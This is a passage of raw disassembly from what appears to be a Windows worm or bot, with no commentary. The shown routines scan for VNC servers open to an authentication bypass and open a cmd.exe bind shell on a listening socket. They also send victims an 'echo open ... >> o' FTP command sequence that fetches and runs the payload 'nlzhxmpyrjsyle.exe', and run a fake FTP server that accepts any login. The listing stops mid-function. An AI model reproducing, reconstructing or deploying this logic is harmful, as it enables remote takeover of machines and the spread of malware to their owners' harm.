		push	[esp+14h+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC5A
		test	eax, eax
		jz	short loc_40EC5A
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EC2D

loc_40EC54:				; CODE XREF: sub_40EC1D+Ej
		push	1
		pop	eax

loc_40EC57:				; CODE XREF: sub_40EC1D+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EC5A:				; CODE XREF: sub_40EC1D+8j
					; sub_40EC1D+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC57
sub_40EC1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EC5E(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40EC5E	proc near		; DATA XREF: .data:00448264o

Dest		= byte ptr -24Ch
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
Src		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
Str		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_44A480
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp+var_2], ax
		pop	edi
		push	edi
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	eax
		jmp	short loc_40ECC0
; ---------------------------------------------------------------------------

loc_40EC8C:				; CODE XREF: sub_40EC5E+29j
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E3138	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_48], eax
		mov	[ebp+var_4C], di
		call	dword_4E30F8	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ECCB
		push	esi

loc_40ECC0:				; CODE XREF: sub_40EC5E+2Cj
		call	dword_4E3190	; closesocket
		jmp	loc_40EEBC
; ---------------------------------------------------------------------------

loc_40ECCB:				; CODE XREF: sub_40EC5E+5Fj
		lea	eax, [ebp+Src]
		push	0Ch
		push	eax
		push	esi
		call	sub_40EBE4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		lea	eax, [ebp+var_20]
		and	[ebp+var_2C], 0
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+Src]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax		; Src
		call	_sscanf
		add	esp, 10h
		cmp	eax, edi
		jnz	loc_40EEB5
		cmp	[ebp+var_28], 3
		jz	short loc_40ED17
		cmp	[ebp+var_20], 8
		jnz	loc_40EEB5

loc_40ED17:				; CODE XREF: sub_40EC5E+ADj
		lea	eax, [ebp+Src]
		push	0Ch
		push	eax
		push	esi
		call	sub_40EC1D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		lea	eax, [ebp+var_3C]
		push	edi
		push	eax
		push	esi
		call	sub_40EBE4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	esi
		call	sub_40EC1D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	esi
		call	sub_40EBE4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		mov	eax, [ebp+var_24]
		mov	ebx, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, ebx
		mov	edi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, edi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp+var_24], ecx
		jnz	loc_40EEB5
		push	1
		push	offset dword_4E5E50
		push	esi
		call	sub_40EC1D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		lea	eax, [ebp+var_1C]
		push	18h
		push	eax
		push	esi
		call	sub_40EBE4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EEB5
		xor	eax, eax
		mov	ecx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_1C+1]
		mov	edx, ecx
		mov	ah, byte ptr [ebp+var_1C]
		mov	[ebp+var_1C], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_1A+1]
		mov	ah, byte ptr [ebp+var_1A]
		mov	[ebp+var_1A], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_14+1]
		mov	ah, byte ptr [ebp+var_14]
		mov	[ebp+var_14], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_12+1]
		mov	ah, byte ptr [ebp+var_12]
		mov	[ebp+var_12], ax
		xor	eax, eax
		mov	al, byte ptr [ebp+var_10+1]
		mov	ah, byte ptr [ebp+var_10]
		mov	[ebp+var_10], ax
		mov	eax, ecx
		and	eax, ebx
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, edi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp+var_8], eax
		add	eax, 2
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		push	[ebp+var_8]
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40EEC3
		add	esp, 10h
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_B0]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		mov	eax, [ebp+arg_A8]
		add	esp, 34h
		shl	eax, 6
		inc	dword_448228[eax]
		push	esi
		lea	eax, dword_448228[eax]
		call	ds:dword_4F5538	; closesocket
		push	1
		pop	eax
		jmp	short loc_40EEBE
; ---------------------------------------------------------------------------

loc_40EEB5:				; CODE XREF: sub_40EC5E+7Ej
					; sub_40EC5E+A3j ...
		push	esi
		call	ds:dword_4F5538	; closesocket

loc_40EEBC:				; CODE XREF: sub_40EC5E+68j
		xor	eax, eax

loc_40EEBE:				; CODE XREF: sub_40EC5E+255j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EC5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EEC3	proc near		; CODE XREF: sub_40EC5E+1E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		test	esi, esi
		jle	short loc_40EEDF
		push	esi
		push	edi
		push	[esp+10h+arg_0]
		call	sub_40EBE4
		add	esp, 0Ch

loc_40EEDF:				; CODE XREF: sub_40EEC3+Cj
		and	byte ptr [edi+esi], 0
		pop	edi
		pop	esi
		retn
sub_40EEC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EEE6	proc near		; DATA XREF: sub_40EF74+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EEEF:				; CODE XREF: sub_40EEE6+25j
					; sub_40EEE6+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E5E64
		call	dword_4E3110	; recv
		test	eax, eax
		jle	short loc_40EEEF
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4E5E60
		call	ds:dword_4F53B4	; WriteFile
		jmp	short loc_40EEEF
sub_40EEE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF29	proc near		; DATA XREF: sub_40EF74+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EF32:				; CODE XREF: sub_40EF29+2Fj
					; sub_40EF29+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E5E54
		call	ds:dword_4F53BC	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40EF32
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4E5E64
		call	dword_4E3148	; send
		jmp	short loc_40EF32
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF74	proc near		; DATA XREF: sub_401CC7+2CFEo

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
Dst		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_98]
		call	dword_4E30F8	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4E3178	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3124	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4E3120	; listen
		mov	ebx, ds:dword_4F53D0
		mov	esi, ds:dword_4F533C

loc_40EFF4:				; CODE XREF: sub_40EF74+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E318C	; accept
		mov	dword_4E5E64, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E5E60
		push	offset dword_4E5E5C
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E5E58
		push	offset dword_4E5E54
		call	ebx	; CreatePipe
		push	44h		; Size
		lea	eax, [ebp+var_7C]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4E5E5C
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4E5E58
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	ds:dword_4F53CC	; GetCurrentProcess
		push	eax
		push	dword_4E5E58
		call	ds:dword_4F53CC	; GetCurrentProcess
		push	eax
		call	ds:dword_4F53C8	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	ds:dword_4F5340	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EF29
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_4F5350	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EEE6
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_4F5350	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	ds:dword_4F5374	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	ds:dword_4F5380	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	ds:dword_4F5380	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	ds:dword_4F53C4	; TerminateProcess
		push	dword_4E5E5C
		call	esi	; CloseHandle
		push	dword_4E5E60
		call	esi	; CloseHandle
		push	dword_4E5E54
		call	esi	; CloseHandle
		push	dword_4E5E58
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40EFF4
sub_40EF74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F144	proc near		; DATA XREF: .data:0043F010o
		jmp	$+5
sub_40F144	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F149	proc near
		push	0FFFEh
		push	400h
		call	sub_419551
		pop	ecx
		mov	dword_4E5E6C, eax
		pop	ecx
		retn
sub_40F149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F160	proc near		; DATA XREF: sub_40C12D+34Do

Dest		= byte ptr -6C0h
var_2C0		= dword	ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_A4]
		call	dword_4E30F8	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4E3178	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F207
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F1E7
		push	ebx		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F1E7:				; CODE XREF: sub_40F160+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C3F
		push	[ebp+var_AC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_40F207:				; CODE XREF: sub_40F160+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_456024[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E3124	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F302
		call	dword_4E308C	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F287
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F267
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F267:				; CODE XREF: sub_40F160+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C3F
		push	[ebp+var_AC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_40F287:				; CODE XREF: sub_40F160+DEj
		push	0FFFEh
		push	ebx
		call	sub_419551
		pop	ecx
		mov	dword_4E5E6C, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E3124	; bind
		cmp	eax, esi
		jnz	short loc_40F302
		call	dword_4E308C	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F2E2
		cmp	eax, 2740h
		jz	short loc_40F2E2
		push	esi		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F2E2:				; CODE XREF: sub_40F160+159j
					; sub_40F160+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C3F
		push	[ebp+var_AC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread

loc_40F302:				; CODE XREF: sub_40F160+CDj
					; sub_40F160+14Cj
		push	5
		push	edi
		call	dword_4E3120	; listen
		cmp	eax, esi
		jz	loc_40F3E7
		mov	[ebp+var_4], 10h
		mov	esi, offset Str	; "nlzhxmpyrjsyle.exe"

loc_40F31F:				; CODE XREF: sub_40F160+1D7j
					; sub_40F160+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4E318C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F31F
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F360
		push	0		; int
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F360:				; CODE XREF: sub_40F160+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415C3F
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F31F
		push	esi
		push	esi
		push	dword_4E2E18
		push	[ebp+var_B0]
		call	sub_40AF71
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+Dest]
		push	ebx		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F31F
		inc	dword_4E5E74
		jmp	loc_40F31F
; ---------------------------------------------------------------------------

loc_40F3E7:				; CODE XREF: sub_40F160+1ADj
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_AC]
		call	sub_40BA72
		pop	ecx
		push	0
		call	ds:dword_4F53A0	; ExitThread
sub_40F160	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F402	proc near		; DATA XREF: sub_40C12D+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= dword	ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
Dst		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
Str		= byte ptr -128h
Dest		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
Str1		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	ds:dword_4F550C	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_4F553C	; socket
		mov	esi, ds:dword_4F5510
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_4F5514	; ioctlsocket
		mov	ax, word ptr dword_4E2E18
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4E30F8	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4F5518	; bind
		test	eax, eax
		jge	short loc_40F4C8
		mov	eax, ebx
		jmp	loc_40FA32
; ---------------------------------------------------------------------------

loc_40F4C8:				; CODE XREF: sub_40F402+BDj
		push	0Ah
		push	edi
		call	ds:dword_4F551C	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, ds:dword_4F5540
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi

loc_40F4E6:				; CODE XREF: sub_40F402+11Dj
					; sub_40F402+628j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4F5544	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FA2F
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F4E6

loc_40F521:				; CODE XREF: sub_40F402+622j
		xor	esi, esi
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		lea	eax, [ebp+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_43ABA2	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FA1D
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F5D8
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F5520	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FA1D
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F5A2
		lea	edx, [ebp+var_228]

loc_40F592:				; CODE XREF: sub_40F402+19Ej
		cmp	[edx], eax
		jz	short loc_40F5A2
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F592

loc_40F5A2:				; CODE XREF: sub_40F402+188j
					; sub_40F402+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F5C0
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F5C0
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]

loc_40F5C0:				; CODE XREF: sub_40F402+1A6j
					; sub_40F402+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F5C8
		mov	[ebp+var_4], eax

loc_40F5C8:				; CODE XREF: sub_40F402+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40FA1D
; ---------------------------------------------------------------------------

loc_40F5D8:				; CODE XREF: sub_40F402+15Aj
		push	esi
		lea	eax, [ebp+Dst]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4F5534	; recv
		test	eax, eax
		jg	short loc_40F63F
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F633
		lea	eax, [ebp+var_228]

loc_40F5FF:				; CODE XREF: sub_40F402+207j
		cmp	[eax], edi
		jz	short loc_40F60D
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F5FF
		jmp	short loc_40F633
; ---------------------------------------------------------------------------

loc_40F60D:				; CODE XREF: sub_40F402+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F62D
		lea	eax, [ebp+ecx*4+var_228]

loc_40F619:				; CODE XREF: sub_40F402+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F619

loc_40F62D:				; CODE XREF: sub_40F402+20Ej
		dec	[ebp+var_22C]

loc_40F633:				; CODE XREF: sub_40F402+1F5j
					; sub_40F402+209j
		push	edi
		call	ds:dword_4F5538	; closesocket
		jmp	loc_40FA1D
; ---------------------------------------------------------------------------

loc_40F63F:				; CODE XREF: sub_40F402+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSS_3	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str1]
		push	offset aUser_1	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F683
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F683:				; CODE XREF: sub_40F402+272j
		lea	eax, [ebp+Str1]
		push	offset aPass	; "PASS"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6A7
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F6A7:				; CODE XREF: sub_40F402+296j
		lea	eax, [ebp+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6CB
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F6CB:				; CODE XREF: sub_40F402+2BAj
		lea	eax, [ebp+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6EF
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F6EF:				; CODE XREF: sub_40F402+2DEj
		lea	eax, [ebp+Str1]
		push	offset off_44A5C0 ; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F713
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F713:				; CODE XREF: sub_40F402+302j
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F74E
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F74E
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F74E:				; CODE XREF: sub_40F402+326j
